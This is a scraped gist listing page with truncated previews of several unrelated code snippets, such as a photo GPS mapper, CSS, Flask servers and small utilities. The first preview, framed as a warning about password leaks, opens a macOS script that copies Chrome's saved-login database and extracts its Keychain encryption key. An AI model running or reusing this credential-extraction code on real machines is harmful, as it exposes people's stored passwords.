This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# A little reminder that we're just one message prompt away from leaking all our passwords to the unknown. | |
import os | |
import sqlite3 | |
import subprocess | |
import base64 | |
import binascii | |
import hashlib | |
os.system('cp ~/Library/"Application Support"/Google/Chrome/Default/"Login Data" /tmp/chrome_login.db') | |
safe_storage_key = subprocess.check_output("security find-generic-password -ga 'Chrome' -w", shell=True).decode().strip() | |
key = hashlib.pbkdf2_hmac('sha1', safe_storage_key.encode(), b'saltysalt', 1003)[:16] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Play Store Privacy Policy for JCx64 | |
1. Collection of Information | |
We collect the following types of information: | |
- User-Provided Information: Username (to personalize gameplay) and contact information (for support and data deletion requests). | |
- Automatically Collected Information: A unique identifier (generated on first use to facilitate gameplay and track progress) and game scores, such as the time taken to complete challenges. | |
2. Use of Information |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from folium import Map, Marker, Popup | |
from os import listdir | |
from os.path import isfile | |
from piexif import load | |
from PIL import Image | |
from PIL.ExifTags import GPSTAGS, TAGS | |
from pillow_heif import read_heif | |
EXTENSIONS = {'jpg', 'jpeg', 'jfif', 'gif', 'png', 'webp', 'heic'} | |
PATH = 'your/path/here' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* See in action at https://codepen.io/juancroldan/pen/vYVLYBx */ | |
.polaroid { | |
background: #eeefea; | |
box-shadow: 0 0 .5px 1px #5415; | |
border-radius: 3px; | |
} | |
.polaroid img { | |
width: 230px; | |
height: 305px; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <fstream> | |
#include <iostream> | |
#include <string> | |
#include <vector> | |
#include <filesystem> | |
#include <thread> | |
#include <mutex> | |
#include <queue> | |
#include <condition_variable> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from flask import Flask | |
from flask.helpers import request | |
from traceback import format_exc | |
SERVER = Flask(__name__) | |
PORT = 5000 | |
# SSL_CONTEXT = '/etc/ssl/certificate.crt', '/etc/ssl/private.key' | |
SSL_CONTEXT = None | |
def api(data: dict): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
''' TABBER: Because spaces suck | |
This script will recursively convert all files in its directory from space indented to tab indented. | |
It will detect the number of spaces used for indentation and transform them into tabbed files. | |
Usage: | |
1. Copy the directory you want to convert and put this file inside. If you're brave enough, skip the | |
copying part. | |
2. Review the EXTENSIONS and IGNORE_FILES values. | |
3. Run it. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
WEEK_DAYS = 'mon', 'tue', 'wed', 'thu', 'fri', 'sat', 'sun' | |
def weekday(day: int, month: int, year: int) -> str: # You'd rather operate with datetimes, but this is funnier. | |
''' Computes the day of the week using Zeller's Congruence. ''' | |
year_shift = year + year // 4 - year // 100 + year // 400 | |
return WEEK_DAYS[(5 + day + (13 * (month + 1)) // 5 + year_shift) % 7] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from flask import Flask, send_file, request | |
from hashlib import sha256 | |
from os import listdir | |
from os.path import join, abspath, dirname, isdir | |
from sys import stderr | |
app = Flask(__name__) | |
template = '<!doctype html><head><meta charset="utf-8"><title>%s</title></head><body><h1>%s</h1><ul>%s</ul></body></html>' | |
base = abspath('.') | |
salt = 'changeme' # generated with https://www.random.org/passwords/?num=1&len=24&format=html&rnd=new |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from datetime import timedelta | |
from requests import get | |
from time import time | |
from sys import stdout | |
def bytes_to_human(size, decimal_places=2): | |
for unit in ["", "k", "M", "G", "T", "P", "E", "Z", "Y"]: | |
if size < 1024: break | |
size /= 1024 | |
return "%s%sB" % (round(size, decimal_places), unit) |
NewerOlder